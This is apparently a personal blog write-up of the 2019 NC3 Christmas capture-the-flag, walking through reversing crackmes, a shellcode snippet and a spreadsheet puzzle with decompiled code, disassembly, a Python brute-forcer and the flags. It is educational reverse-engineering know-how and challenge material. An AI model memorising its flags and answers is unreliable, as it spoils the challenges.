Recently I participated in the Danish National Cyber Crime Center (NC3)'s annual Christmas capture-the-flag event. The event consisted of 33 challenges across 6 categories, and lasted from November 28th at 10 AM to December 19th at 10 AM.

I represented the team queer agenda, and ended up at a five-way split first place, although due to their tie-breaking algorithm, officially came in second. Two challenges were not solved by anyone.

The final scoreboard, as of December 19th, 2019.

The final scoreboard, as of December 19th, 2019.

I ended up solving most of the challenges myself, but we did have an entire team to help each other along. Credit goes to Polly and Lukas. I worked exclusively on (Arch) Linux, and used tools like CyberChef and radare2 a lot.

Here are the challenges:







I've collected all the challenge files (excluding Boot2Root) in a zip archive along with a text file describing the challenge descriptions, points and relevant files, for anyone who wants to play along at home. It also includes a text file containing SHA-256-hashed versions of every flag to check your work. The zip file is available here. The rest of this writeup will thus contain spoilers!!! :)


This category is primarily about reverse-engineering provided binaries for various operating systems and architectures. My primary reverse engineering toolset of choice was radare2, but for the last challenge I ended up using Ghidra. Both tools are open-source and cross-platform.

C Skarp Ud

We're given reversing__c_skarp_ud.exe, a .NET executable written in C#. As I'm working in Linux, I can't run the program itself (it seems to use graphics libraries Mono doesn't support). However, C# code is notoriously easy to disassemble and even decompile. On Windows there are solid tools like dotPeek, but since I'm on Linux, I used the command-line version of ILSpy:

$ dotnet tool install ilspycmd -g
$ mkdir cskarpud
$ ilspycmd -o cskarpud reversing__c_skarp_ud.exe

The resulting .cs file will appear in the cskarpud/ subdirectory. I've uploaded the full file here, but we'll take a look at the important parts.

It appears that the program displays a window containing three sliders. The function TjekSliders() checks whether slider 1 is set to 25, slider 2 is set to 99, and slider 3 is set to 1. If so, it displays text returned from the GetFlagString() function, otherwise, displays an error.

private void TjekSliders()
    if (((RangeBase)slider1).get_Value() == 25.0 && ((RangeBase)slider2).get_Value() == 99.0 && ((RangeBase)slider3).get_Value() == 1.0)
        kodeordsBoks.set_Text("-- FORKERT KOMBINATION --");

The GetFlagString() function is rather simple, too. First, it gets the slider values and adds them together. Since we already know which values are correct, we can just calculate that ourselves: 25 + 99 + 1 = 125. After that, it loops through a byte array and XORs every value with the number we calculated before, then returns the resulting bytes as a string (encoded with UTF-8).

private string GetFlagString()
    byte b = (byte)(((RangeBase)slider1).get_Value() + ((RangeBase)slider2).get_Value() + ((RangeBase)slider3).get_Value());
    byte[] array = new byte[50]
        51, 62, 78, 6, 30, 34, 14, 21, 28, 15, 13, 34, 8, 25, 24, 19, 34, 18, 31, 27, 8, 14, 22, 24, 15, 
        20, 19, 26, 34, 24, 15, 34, 28, 17, 17, 24, 15, 24, 25, 24, 34, 8, 25, 13, 28, 22, 22, 24, 9, 0
    for (int i = 0; i < array.Length; i++)
        array[i] = (byte)(array[i] ^ b);
    return Encoding.UTF8.GetString(array);

We can now go ahead and drop these values into CyberChef, and thus extract the flag directly:

Flag: NC3{c_sharp_uden_obfuskering_er_allerede_udpakket} (C# without obfuscation is already unpacked)


We're given reversing_crackme_241219.exe, which is a PE console executable for Windows. I don't own a Windows machine, and at the time of writing don't have Wine installed, so let's try static analysis.

I usually use radare2 with the Ghidra decompiler extension, which makes short work of executables like this. Let's go ahead.

$ r2 reversing_crackme_241219.exe
[0x1400013ac]> aaa
[0x1400013ac]> s main
[0x140001070]> pdg

Here, I'm opening the file in radare2, running an analysis pass (aaa), setting the cursor to the main function (s main), then running the Ghidra decompiler (pdg). After a few seconds of churning, it spits out this function:

// WARNING: Unknown calling convention yet parameter storage is locked
// WARNING: [r2ghidra] Matching calling convention amd64 of function main failed, args may be inaccurate.
// WARNING: [r2ghidra] Var arg_8h is stack pointer based, which is not supported for decompilation.
// WARNING: [r2ghidra] Var arg_30h is stack pointer based, which is not supported for decompilation.
// WARNING: [r2ghidra] Failed to match type int for variable argc to Decompiler type: Unknown type identifier int
// WARNING: [r2ghidra] Matching calling convention amd64 of function fcn.140001010 failed, args may be inaccurate.
// WARNING: [r2ghidra] Var arg_10h is stack pointer based, which is not supported for decompilation.
// WARNING: [r2ghidra] Var arg_18h is stack pointer based, which is not supported for decompilation.
// WARNING: [r2ghidra] Var arg_58h is stack pointer based, which is not supported for decompilation.

undefined8 main(undefined8 argc, int64_t arg4, char **envp)
    char *arg3;
    char **arg3_00;
    int64_t unaff_RSI;
    int64_t in_R8;
    int64_t in_R9;
    arg3_00 = envp;
    fcn.140001010((int64_t)"NC3 CRACKME :: 2412 (Jahh, saa er det endelig jul!)\n", (int64_t)envp, in_R8, in_R9, 
                  unaff_RSI, (int64_t)envp);
    fcn.140001010(0x14001adb8, (int64_t)arg3_00, in_R8, in_R9, unaff_RSI, (int64_t)envp);
    if ((int32_t)arg4 != 2) {
        fcn.140001010((int64_t)"Denne crackme tager 1 parameter.\n", (int64_t)arg3_00, in_R8, in_R9, unaff_RSI, 
        return 2;
    arg3 = envp[1];
    if (((((((*arg3 == 'a') && (arg3[1] == 'l')) && (arg3[2] == 'l')) && ((arg3[3] == 'e' && (arg3[4] == '_')))) &&
         ((arg3[5] == 'e' && ((arg3[6] == 'l' && (arg3[7] == 's')))))) && (arg3[8] == 'k')) &&
       ((((arg3[9] == 'e' && (arg3[10] == 'r')) && (arg3[0xb] == '_')) &&
        (((arg3[0xc] == 'j' && (arg3[0xd] == 'u')) &&
         ((arg3[0xe] == 'l' && ((arg3[0xf] == 'e' && (arg3[0x10] == 'n')))))))))) {
        fcn.140001010((int64_t)"NC3{%s}\n", (int64_t)arg3, in_R8, in_R9, unaff_RSI, (int64_t)envp);
        return 0;
    return 1;

Even without any code cleanup, it's already pretty much immediately obvious what's going on. fcn.140001010 is printf (which I assume it doesn't pick up on, since I don't have access to Windows libraries), it prints a welcome message, checks the argument count (wihch must be == 2, meaning one additional parameter), then checks each character of that parameter for the string alle_elsker_julen - if it matches, it just prints that string surrounded by NC3{} tags. As a result, we can infer the full flag.

Flag: NC3{alle_elsker_julen} (everyone loves Christmas)


We're given shellk0d3.txt, containing the following text (a set of hexadecimal characters):

52 59 83 C1 05 C0 E1 02 80 E9 0F 68 35 3A 7B 79 68 66 5D 6A 5D 68 FB 6C 5C 6C 68 70 67 67 66 68 7E 6E 62 69 BA 00 00 00 00 8B 04 94 35 03 02 03 02 50 83 C2 02 FE C9 75 F0 30 C0 B5 4F FE C0 FE CD 75 FA 34 01 88 C1 C1 E1 10 34 01 2C 0E 34 02 88 C1 34 01 2C 10 34 01 88 C5 30 E9 30 CD 30 E9 51 EB FE

The name of the challenge and file implies that we're dealing with shellcode, a short snippet of machine code usually used as a payload after an exploit. Lucky for us, radare2 can handle those just by itself. Let's transform the hexdump into a binary file, then run r2 on it. Here, we use the pd (print disassembly) command to get a plain disassembly rather than a Ghidra decompilation... just 'cause.

$ xxd -r -p shellk0d3.txt > shell.bin
$ r2 shell.bin
[0x00000000]> aaa
[0x00000000]> pd
 99: fcn.00000000 (int64_t arg3);
; arg int64_t arg3 @ rdx
           0x00000000      52             push rdx                    ; arg3
│           0x00000001      59             pop rcx
           0x00000002      83c105         add ecx, 5
           0x00000005      c0e102         shl cl, 2
           0x00000008      80e90f         sub cl, 0xf                 ; 15
│           0x0000000b      68353a7b79     push 0x797b3a35             ; '5:{y'
; DATA XREF from fcn.00000000 @ 0x54
           0x00000010      68665d6a5d     push 0x5d6a5d66             ; 'f]j]'
           0x00000015      68fb6c5c6c     push 0x6c5c6cfb
           0x0000001a      6870676766     push 0x66676770             ; 'pggf'
           0x0000001f      687e6e6269     push 0x69626e7e             ; '~nbi'
           0x00000024      ba00000000     mov edx, 0
; CODE XREF from fcn.00000000 @ 0x37
       ┌─> 0x00000029      8b0494         mov eax, dword [rsp + rdx*4]
       ╎   0x0000002c      3503020302     xor eax, 0x2030203
       ╎   0x00000031      50             push rax
       ╎   0x00000032      83c202         add edx, 2
       ╎   0x00000035      fec9           dec cl
       └─< 0x00000037      75f0           jne 0x29
           0x00000039      30c0           xor al, al
           0x0000003b      b54f           mov ch, 0x4f                ; 'O' ; 79
│           ; CODE XREF from fcn.00000000 @ 0x41
       ┌─> 0x0000003d      fec0           inc al
       ╎   0x0000003f      fecd           dec ch
       └─< 0x00000041      75fa           jne 0x3d
           0x00000043      3401           xor al, 1
           0x00000045      88c1           mov cl, al
           0x00000047      c1e110         shl ecx, 0x10
           0x0000004a      3401           xor al, 1
           0x0000004c      2c0e           sub al, 0xe                 ; 14
│           0x0000004e      3402           xor al, 2
           0x00000050      88c1           mov cl, al
           0x00000052      3401           xor al, 1
           0x00000054      2c10           sub al, 0x10                ; 16
│           0x00000056      3401           xor al, 1
           0x00000058      88c5           mov ch, al
           0x0000005a      30e9           xor cl, ch
           0x0000005c      30cd           xor ch, cl
           0x0000005e      30e9           xor cl, ch
           0x00000060      51             push rcx
> 0x00000061      ebfe           jmp 0x61

Now, Carl Schou of holdet managed to figure out what this actually does (it's pretty simple), but I just skimmed it, saw some constants being pushed to the stack and an xor operation, and immediately attempted the obvious (to me), which turned out to be the correct solution. Basically, I just tried XORing the constants 797b3a35 5d6a5d66 6c5c6cfb 66676770 69626e7e with 02 03 02 03, which gives us the flag (sans NC3 prefix):

Decoding and XORing the given hexadecimal values in CyberChef.

Decoding and XORing the given hexadecimal values in CyberChef.

Flag: NC3{x86_i_en_nøddeskal} (x86 in a nutshell)


We're again given a binary, reversing_crackme_231219.elf, but this time it's a Linux ELF file, so I can actually run it on my own system. I wouldn't recommend doing that first thing on an arbitrary binary delivered through a website on Tor by the police, but, y'know, YOLO, right? Anyway...

$ chmod +x reversing_crackme_231219.elf
$ ./reversing_crackme_231219.elf
NC3 CRACKME :: 231219 (er det ikke snart jul??)
Denne crackme tager 1 parameter. Hilsen Drillenissen

"This crackme takes 1 parameter. Sincerely, the troll elf." (just one of many cultural references that are surprisingly hard to translate...)

What if we run it with a parameter?

$ ./reversing_crackme_231219.elf foobar
NC3 CRACKME :: 231219 (er det ikke snart jul??)
* Fik unlock key: 228 (0xE4)
* Lad os prøve:

We get a mention of an "unlock key" and some garbage output. Let's open it up in radare2 and have a look, same commands as earlier:

$ r2 reversing_crackme_231219.elf
[0x00001180]> aaa
[0x00001180]> s main
[0x00001080]> pdg
// WARNING: [r2ghidra] Failed to match type int for variable argc to Decompiler type: Unknown type identifier int

undefined8 main(undefined8 argc, char **argv)
    uint8_t uVar1;
    int64_t iVar2;
    undefined8 uVar3;
    uint32_t uVar4;
    char *pcVar5;
    // [14] -r-x section size 865 named .text
    sym.imp.puts("NC3 CRACKME :: 231219 (er det ikke snart jul??)");
    if ((int32_t)argc == 2) {
        pcVar5 = *argv + (**argv == '.');
        uVar4 = 0;
        iVar2 = 0;
        do {
            uVar1 = pcVar5[iVar2 + (uint64_t)(*pcVar5 == '/')];
            uVar4 = ((int32_t)(char)uVar1 + uVar4) * 2;
            if ((uVar1 == 0) || (uVar1 != (uint8_t)("hgtdmk`uo"[(char)((char)r8[iVar2] - (char)iVar2)] ^ 1U))) break;
            iVar2 = iVar2 + 1;
        } while (iVar2 != 0xe);
        sym.imp.__printf_chk(1, "* Fik unlock key: %u (0x%X)\n", (uint64_t)uVar4, (uint64_t)uVar4);
        uVar3 = 1;
        if (uVar4 != 0) {
            sym.imp.puts("* Lad os prøve:");
            sym.imp.__printf_chk(1, "NC3{");
            uVar3 = 0;
    } else {
        sym.imp.puts("Denne crackme tager 1 parameter. Hilsen Drillenissen");
        uVar3 = 2;
    return uVar3;

Ignoring the casting mess the decompiler made, there's a bit of a trick going on here (curse you, trick elf). After checking the argument count to be equal to two, it then puts the first entry into the argument list into pcVar5. Both on that line and on the one a bit later, it skips . and /-characters, respectively. The thing is, the first (index 0) argument of the argument list passed to the program is the program's name itself - the actual "first" (second) argument being passed is completely igonred here, even though it's required for the program to run.

The inside of the do { block seems to essentially calculate a "checksum" of the input string, while exiting early if the string's invalid. There's a lot of unnecessary code here, so let's clean it up and rewrite that block it to make it a bit more readable:

int key = 0;
for (int i = 0; i < 0xe; i++) {
	char c = input[i + (input[0] == '/')];
	key = (c + key) * 2;
	if (c == 0 || c != ("hgtdmk`uo"[r8[i] - i] ^ 1)) break;

There we go. There's one component missing that the Ghidra decompiler didn't quite manage to catch: r8. Disassembling the function as usual helps us along:

[0x00001080]> pd
            ;-- section..text:
 256: int main (int argc, char **argv, char **envp);
- snip -
       │   0x000010b0      31c0           xor eax, eax
       │   0x000010b2      4c8d0d5f1000.  lea r9, str.hgtdmk_uo       ; 0x2118 ; "hgtdmk`uo"
│       │   0x000010b9      4c8d05481000.  lea r8, [r8]                ; 0x2108
- snip -

So, it's loading a pointer to the address 0x2108 (no idea where that value came from, sorry!) in the binary. Let's move the cursor to that address (s 0x2108), and print the first 16 bytes (px 16, or print 16 bytes in hexadecimal)

[0x00001080]> s 0x2108
[0x00002108]> px 16
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x00002108  0401 0607 070a 080b 0b0f 0b12 0f15 0000  ................

Some numbers and a null terminator. Specifically the hexadecimal numbers decimal numbers 0401 0607 070a 080b 0b0f 0b12 0f15, or in decimal, [4, 1, 6, 7, 7, 10, 8, 11, 11, 15, 11, 17, 15, 21].

Now, it takes the number from that list and subtracts from it the index in the list, so if we subtract the numbers 0 through 13 from there, we get: [4, 0, 4, 4, 3, 5, 2, 4, 3, 6, 1, 7, 3, 8].

Then, it gets the corresponding value from that number list, and looks that number up in the string hgtdmk`uo. If we go ahead and do that manually, we get the string mhmmdktmd`gudo. Finally, it XORs the character with 0x1. Do that manually, and we get the adorable string lillejuleaften (the day before Christmas).

So, the code essentially compares the first 14 characters of the input to the string lillejuleaften, and generates a corresponding "unlock key" (whatever that is). We've already established that it's pulling a sneaky on us and reading from the name of the executable, so let's try renaming the binary to lillejuleaften:

$ mv reversing_crackme_231219.elf lillejuleaften.elf
$ ./lillejuleaften.elf thisdoesntevenmatter
NC3 CRACKME :: 231219 (er det ikke snart jul??)
* Fik unlock key: 3507408 (0x3584D0)
* Lad os prøve:

Flag: NC3{alle_glæder_sig_til_lillejuleaften} (everyone's excited for the day before Christmas)


This is a fun one. We're given nc3ctf19__intr0.7z, containing the single file nc3ctf19__intr0.dol. A dol file is the binary file format used on the Nintendo GameCube and Wii. Luckily, there's a very compatible emulator called Dolphin that runs these binaries. Just running it by itself gets us a super cool-looking cracktro, complete with wavy text, background effects, checkerboard floors, and a grating chiptune loop. Most interesting is the text NC3(), which I (correctly) assumed was where the flag was going to show up.

Now, this took several hours to fully crack, and I ended up using Ghidra with the Gekko/Broadway processor plugin and the .dol executable loader plugin. I'll spare the details, but I basically looked around at a bunch of random functions until I saw one that did a lot of interesting-looking stuff. I also looked at the GameCube hardware registers and renamed locations of interest (graphics, input, etc) in Ghidra, so I could see them when they were used in the other places. I also ended up using Dolphin Memory Engine to provide a live view of the console memory that I could search in.

After a while, I figured out the ROM took controller input, and that you could "type" up to 16 binary digits using the A and B buttons, with the Z button acting as backspace. Hitting the Start button "submits" your input, and the X button just... crashes the emulator (lol). Submitting your input prints a link inside the NC3() tags. So, working hypothesis is that there's a certain combination of digits that won't print that.

I ended up finding the main function (fcn.80006578), digging through the hex editor to find where the string "NC3" was displayed on-screen, searching through Ghidra's XREFs to figure out where that specific memory was written from, and so on and so forth, renaming variables and functions to what (I assume) they do. Eventually I stumbled upon the part of the code that handled this input:

input = get_input(0);
if (input != 0) {
    if (typed_chars_count < 0x10) {
                /* if A button pressed */
    if ((input & 0x100) != 0) {
        typed_value_mask = 1 << typed_chars_count;
        typed_chars_count = typed_chars_count + 1 & 0xff;
        typed_chars = typed_value_mask & 0xffff | typed_chars;
                /* if B button pressed */
    if ((input & 0x200) == 0) goto LAB_8000726c;
                /* if Z pressed */
    typed_chars_count = typed_chars_count + 1 & 0xff;
    if ((input & 0x10) != 0) {
        input = typed_chars_count - 1;
        typed_chars_count = input & 0xff;
        input = input & 0x1f;
        typed_chars = (-2 << input | 0xfffffffeU >> 0x20 - input) & typed_chars;
        goto LAB_80007200;
    fifo = &uStack577;
    input = 0;
    do {
        while (typed_value_mask = input & 0x3f, input = input + 1,
            ((int)typed_chars >> typed_value_mask & 1U) == 0) {
        fifo = fifo + 1;
        *fifo = 0x30;
        if (typed_chars_count <= (input & 0xff)) goto LAB_80007080;
        fifo = fifo + 1;
        *fifo = 0x31;
    } while ((input & 0xff) < typed_chars_count);
    else {
                /* handle_b_press */
    if ((input & 0x10) == 0) {
                /* submit_input */
        if (typed_chars_count != 0) goto LAB_80007218;
    else {
        if (typed_chars_count != 0) goto LAB_800071ec;

And slightly afterwards (skipping some float-banging nonsense):

input = get_input(0);
if (((input & 0x1000) == 0) ||
    (cracktext_len = gulddreng_video(typed_chars), cracktext_len == 0)) {
    input = get_input(0);
    if ((input & 0x400) == 0) goto LAB_8000711c;

This code checks for the Start button being pressed ((input & 0x1000) == 0, used in a short-circuiting || expression), then calls the gulddreng_video (name by me, of course) function with the typed characters. Now, this one is where the magic happens:

char * gulddreng_video(uint input_binary)
  uint i;
  int counter;
  byte input [10];
  displayed_text._0_4_ = (-(input_binary >> 8) - 0x1f >> 1 & 0x7f) << 0x18;
  input._0_2_ = (short)input_binary;
  displayed_text._4_4_ = 0;
  i = 1;
  displayed_text._8_4_ = 0;
  counter = 0x16;
  displayed_text._12_4_ = 0;
  displayed_text._16_4_ = 0;
  displayed_text._20_4_ = 0;
  do {
    displayed_text[i] = (byte)((uint)flag_probably[i] - (uint)input[i & 1] >> 1) & 0x7f;
    i = i + 1;
    counter = counter + -1;
  } while (counter != 0);
  counter = text_checksum();
  if (counter != 0xcd) {
    displayed_text._0_4_ = gulddreng_tekst._0_4_ ^ 0x47474747;
    displayed_text._4_4_ = gulddreng_tekst._4_4_ ^ 0x47474747;
    displayed_text._8_4_ = gulddreng_tekst._8_4_ ^ 0x47474747;
    displayed_text._14_2_ = displayed_text._14_2_ & 0xff;
    displayed_text._12_4_ = CONCAT22(0x4a30,displayed_text._14_2_);
  return displayed_text;

This function directly manipulates the buffer that's displayed inside the NC3() brackets (aptly named displayed_text), and takes a single 16-bit value containing the input binary digits (input_binary). It also refers to a static array I've called flag_probably (because it contains the flag, probably). flag_probably is 24 bytes long and consists of the following bytes: e1 c2 ed d2 03 dc f7 bc 0f f0 eb bc f3 bc 19 ba e5 b8 e5 cc df bc ff 00. It sets the first byte of displayed_text to a value derived from the entire input string, then loops through the rest of the bytes, subtracting and shifting the flag byte with alternating (8-bit) bytes of the given input binary digits. After all that's done, it calls the text_checksum() function, which returns a single-byte checksum of the displayed_text buffer:

uint text_checksum(void)
  uint chk;
  chk = (displayed_text._0_4_ & 0x7f7f7f7f) + (displayed_text._4_4_ & 0x7f7f7f7f) ^
        (displayed_text._0_4_ ^ displayed_text._4_4_) & 0x80808080;
  chk = (chk & 0x7f7f7f7f) + (displayed_text._8_4_ & 0x7f7f7f7f) ^
        (chk ^ displayed_text._8_4_) & 0x80808080;
  chk = (chk & 0x7f7f7f7f) + (displayed_text._12_4_ & 0x7f7f7f7f) ^
        (chk ^ displayed_text._12_4_) & 0x80808080;
  chk = (chk & 0x7f7f7f7f) + (displayed_text._16_4_ & 0x7f7f7f7f) ^
        (chk ^ displayed_text._16_4_) & 0x80808080;
  chk = (chk & 0x7f7f7f7f) + (displayed_text._20_4_ & 0x7f7f7f7f) ^
        (chk ^ displayed_text._20_4_) & 0x80808080;
  return (chk >> 0x18) + (chk >> 0x10) + (chk >> 8) + chk & 0xff;

If this checksum is equal to 0xcd, it'll leave the buffer alone and return it, but if not, it'll instead overwrite it with, well, the link to the Gulddreng music video (from gulddreng_tekst: 05 0e 13 69 0b 1e 68 75 2a 14 02 12 0d 77 00 00, XORed with 0x47). Since this is a single-byte checksum, there's obviously going to be a lot of false positives, but we're also only working with a 16-bit input space - trivial to brute-force. I ended up porting most of this code to Python and running a basic brute force, filtering everything that doesn't match the checksum, or has unprintable characters:

import binascii, struct

ciphertext = binascii.unhexlify("e1 c2 ed d2 03 dc f7 bc 0f f0 eb bc f3 bc 19 ba e5 b8 e5 cc df bc ff 00".replace(" ", ""))
for a in range(256):
    for b in range(256):
        key = bytes([a, b])
        out_buf = bytearray([0]*24)
        out_buf[0] = ((65536 - a - 0x1f) >> 1) & 0x7f

        for i in range(1, 23):
            x = ((ciphertext[i] + 256) - key[i % 2]) & 0xff
            out_buf[i] = (x >> 1) & 0x7f

        p = struct.unpack(">LLLLLL", out_buf)
        chk = ((p[0] & 0x7f7f7f7f) + (p[1] & 0x7f7f7f7f)) ^ (p[0] ^ p[1]) & 0x80808080
        chk = ((chk & 0x7f7f7f7f) + (p[2] & 0x7f7f7f7f)) ^ (chk ^ p[2]) & 0x80808080
        chk = ((chk & 0x7f7f7f7f) + (p[3] & 0x7f7f7f7f)) ^ (chk ^ p[3]) & 0x80808080
        chk = ((chk & 0x7f7f7f7f) + (p[4] & 0x7f7f7f7f)) ^ (chk ^ p[4]) & 0x80808080
        chk = ((chk & 0x7f7f7f7f) + (p[5] & 0x7f7f7f7f)) ^ (chk ^ p[5]) & 0x80808080
        chk = ((chk >> 0x18) + (chk >> 0x10) + (chk >> 8) + chk) & 0xff

        if chk == 0xcd:
            if all([b >= 0x20 and b <= 0x7f for b in out_buf[:-1]]):
                s = bin(b)[2:].zfill(8)[::-1]
                s += bin(a)[2:].zfill(8)[::-1]

                print(s, binascii.hexlify(key).decode("utf8"), out_buf.decode("utf8"))

It's pretty ugly, but it got the job done:

$ python3
1000100001000100 2211 _Xe`pejUvodUhU{TaSa]^Un
0100100001000100 2212 _Xe`pejUvodUhU{TaSa]^Un
1000100011000100 2311 _Xe`pejUvodUhU{TaSa]^Un
0100100011000100 2312 _Xe`pejUvodUhU{TaSa]^Un
1001110000010100 2839 \DbLmQgAs[aAeAx@^?^I[Ak
0101110000010100 283a \DbLmQgAs[aAeAx@^?^I[Ak
1001110010010100 2939 \DbLmQgAs[aAeAx@^?^I[Ak
0101110010010100 293a \DbLmQgAs[aAeAx@^?^I[Ak
1000011001110100 2e61 Y0_8j=d-pG^-b-u,[+[5X-h
0100011001110100 2e62 Y0_8j=d-pG^-b-u,[+[5X-h
1000011011110100 2f61 Y0_8j=d-pG^-b-u,[+[5X-h
0100011011110100 2f62 Y0_8j=d-pG^-b-u,[+[5X-h
1001111100011100 38f9 TdZleq_ak{Ya]ap`V_ViSac
0101111100011100 38fa TdZleq_ak{Ya]ap`V_ViSac
1001111110011100 39f9 TdZleq_ak{Ya]ap`V_ViSac
0101111110011100 39fa TdZleq_ak{Ya]ap`V_ViSac
1000010001111100 3e21 QPWXb]\MhgVMZMmLSKSUPM`
0100010001111100 3e22 QPWXb]\MhgVMZMmLSKSUPM`
1000010011111100 3f21 QPWXb]\MhgVMZMmLSKSUPM`
0100010011111100 3f22 QPWXb]\MhgVMZMmLSKSUPM`
1001001000100010 4449 N<TD_IY9eSS9W9j8P7PAM9]
0101001000100010 444a N<TD_IY9eSS9W9j8P7PAM9]
1001001010100010 4549 N<TD_IY9eSS9W9j8P7PAM9]
0101001010100010 454a N<TD_IY9eSS9W9j8P7PAM9]
1000111001010010 4a71 K(Q0\5V%b?P%T%g$M#M-J%Z
0100111001010010 4a72 K(Q0\5V%b?P%T%g$M#M-J%Z
1000111011010010 4b71 K(Q0\5V%b?P%T%g$M#M-J%Z
0100111011010010 4b72 K(Q0\5V%b?P%T%g$M#M-J%Z
1001000000101010 5409 F\LdWiQY]sKYOYbXHWHaEYU
0101000000101010 540a F\LdWiQY]sKYOYbXHWHaEYU
1001000010101010 5509 F\LdWiQY]sKYOYbXHWHaEYU
0101000010101010 550a F\LdWiQY]sKYOYbXHWHaEYU
1000110001011010 5a31 CHIPTUNEZ_HELE_DECEMBER
0100110001011010 5a32 CHIPTUNEZ_HELE_DECEMBER
1000110011011010 5b31 CHIPTUNEZ_HELE_DECEMBER
0100110011011010 5b32 CHIPTUNEZ_HELE_DECEMBER
1001101000000110 6059 @4F<QAK1WKE1I1\0B/B9?1O
0101101000000110 605a @4F<QAK1WKE1I1\0B/B9?1O
1001101010000110 6159 @4F<QAK1WKE1I1\0B/B9?1O
0101101010000110 615a @4F<QAK1WKE1I1\0B/B9?1O
1000111101010110 6af1 ;hApLuFeR@eDeWd=c=m:eJ
0100111101010110 6af2 ;hApLuFeR@eDeWd=c=m:eJ
1000111111010110 6bf1 ;hApLuFeR@eDeWd=c=m:eJ
0100111111010110 6bf2 ;hApLuFeR@eDeWd=c=m:eJ
1001100000001110 7019 8T>\IaCQOk=QAQTP:O:Y7QG
0101100000001110 701a 8T>\IaCQOk=QAQTP:O:Y7QG
1001100010001110 7119 8T>\IaCQOk=QAQTP:O:Y7QG
0101100010001110 711a 8T>\IaCQOk=QAQTP:O:Y7QG
1000001001101110 7641 5@;HFM@=LW:=>=Q<7;7E4=D
0100001001101110 7642 5@;HFM@=LW:=>=Q<7;7E4=D
1000001011101110 7741 5@;HFM@=LW:=>=Q<7;7E4=D
0100001011101110 7742 5@;HFM@=LW:=>=Q<7;7E4=D
1001011000111110 7c69 2,84C9=)IC7);)N(4'411)A
0101011000111110 7c6a 2,84C9=)IC7);)N(4'411)A
1001011010111110 7d69 2,84C9=)IC7);)N(4'411)A
0101011010111110 7d6a 2,84C9=)IC7);)N(4'411)A
1000000001100001 8601 -`3h>m8]Dw2]6]I\/[/e,]<
0100000001100001 8602 -`3h>m8]Dw2]6]I\/[/e,]<
1000000011100001 8701 -`3h>m8]Dw2]6]I\/[/e,]<
0100000011100001 8702 -`3h>m8]Dw2]6]I\/[/e,]<
1001010000110001 8c29 *L0T;Y5IAc/I3IFH,G,Q)I9
0101010000110001 8c2a *L0T;Y5IAc/I3IFH,G,Q)I9
1001010010110001 8d29 *L0T;Y5IAc/I3IFH,G,Q)I9
0101010010110001 8d2a *L0T;Y5IAc/I3IFH,G,Q)I9
1000101001001001 9251 '8-@8E25>O,505C4)3)=&56
0100101001001001 9252 '8-@8E25>O,505C4)3)=&56
1000101011001001 9351 '8-@8E25>O,505C4)3)=&56
0100101011001001 9352 '8-@8E25>O,505C4)3)=&56

Here we see four possible bitstrings that result in the output string CHIPTUNEZ_HELE_DECEMBER, which is the inner portion of the flag.

Here's the string being entered into the live console.

Here's the string being entered into the live console.

Flag: NC3{CHIPTUNEZ_HELE_DECEMBER} (chiptunez throughout December)

Side note: Carl Schou was quite rude towards the hard-working Ghidra developers in his own write-up of this challenge, stating that he "unironically assumed that Ghidra could decompile these simple arithemtic expressions properly (spoiler alert: it couldn’t)". You just had to install the proper plugin for the processor, dude. Then it would've worked fine.

Den Røde Tråd

This one wasn't solved by anyone, sadly. I myself didn't get particularly far in reversing it, either, but Carl did a pretty comprehensive analysis of it, however not one that ultimately resulted in a flag :(


This category is primarily about analyzing datasets for patterns of interest, similar to the CTF and Forensic category. These challenges were notorious for pretty much entirely consisting of random guessing, and we racked up quite a lot of incorrect flag entries because of it.


We're given Hyggelsning.xlsx, an Excel spreadsheet containing two sheets. One is named Ключ, while the other is named Lås. We're also told that the flag consists of two Russian words, put together as a flag following the pattern NC3{???????_???????}. Ключ (meaning Key) contained 25 columns of 300 rows of individual Russian words. Lås (meaning Lock) also contained a similar grid, albeit of individual English letters. It also contains a set of 7-bit binary ASCI strings far to the right of the rest of the content, reading:

1100111	1100101	1111000	1110000	1101100	1100001	1101110	1100001	1110100	1101001	1101111	1101110	1100010	1110101	1110100	1101001	1101110	1000100	1101111	1110011	1110100	1101111	1111001	1100101	1110110	1110011	1101011	1111001	1110011	1110110	1101001	1100101	1110111	1101001	1110100	1101001	1110011	1100001	1101100	1110011	1101111	1110100	1101000	1100101	1110100	1110010	1110101	1110100	1101000

This text deciphers to gexplanationbutinDostoyevskysviewitisalsothetruth. Note that LibreOffice refuses to open this document due to the sheer amount of blank columns between the content and those binary digits, but Google Sheets imports it fine. In addition to this, there's an explicitly provided hint, reading "Der er intet som varm kakao og hyggelæsning på en kold vinterdag... men hvilken bog læser du i?" - essentially asking "which book are you reading?".

Running a frequency analysis of Lås reveals pretty much a standard English text distribution, but running it on Ключ reveals a significant amount of a specific word:

Frequency distribution of all words in Ключ.

Frequency distribution of all words in Ключ.

That word turns out to be РАСКОЛЬНИКОВ, meaning Raskolnikov, the last name of the main character of Fyodor Dostoevsky's 19th century novel Crime and Punishment. The "hint" to the right of Lås also points us further in that direction, directly mentioning the author's name. Specifically, it's a snippet from an article about a recent translation of Crime and Punishment:

The ideas in Raskolnikov’s head remain as “strange” and “incomplete” as they were when Dostoyevsky initially sketched his antihero for his editor, and purposefully so. In failing to provide an answer to the novel’s central question—why?—Dostoyevsky doubles down on his argument that we ultimately do not know why people do the things they do. There is no order or rationale to human behavior. This may be a more terrifying explanation, but, in Dostoyevsky’s view, it is also the truth.

Now, this is where we got stuck. The hint asked "which book are you reading", but entering various variations of Crime and Punishment, the author's name, the main character name, and various other tangentially related two-word Russian phrases got us nowhere. We spent a long time trying to somehow tie the words and letters in the spreadsheet to each other, to the original text, to various translations, and to the article referenced in Lås.

Eventually, after much trial and oh so much error, it turns out the solution was the journal (note: not a book) Crime and Punishment was originally released in: The Russian Messenger (Ру́сский ве́стник). We had actually attempted this several days before, but we had copy-pasted off the English Wikipedia, which includes various accent diacritical marks. The flag itself was only accepted without those diacritical marks (as they appear on the Russian Wikipedia).

Flag: NC3{Русский_вестник}

Julemandens Juleanalyse

This was again one of the "trial-and-error" challenges. We're given the file output, containing a series of 10000 letter-and-number pairs separated by semicolons:

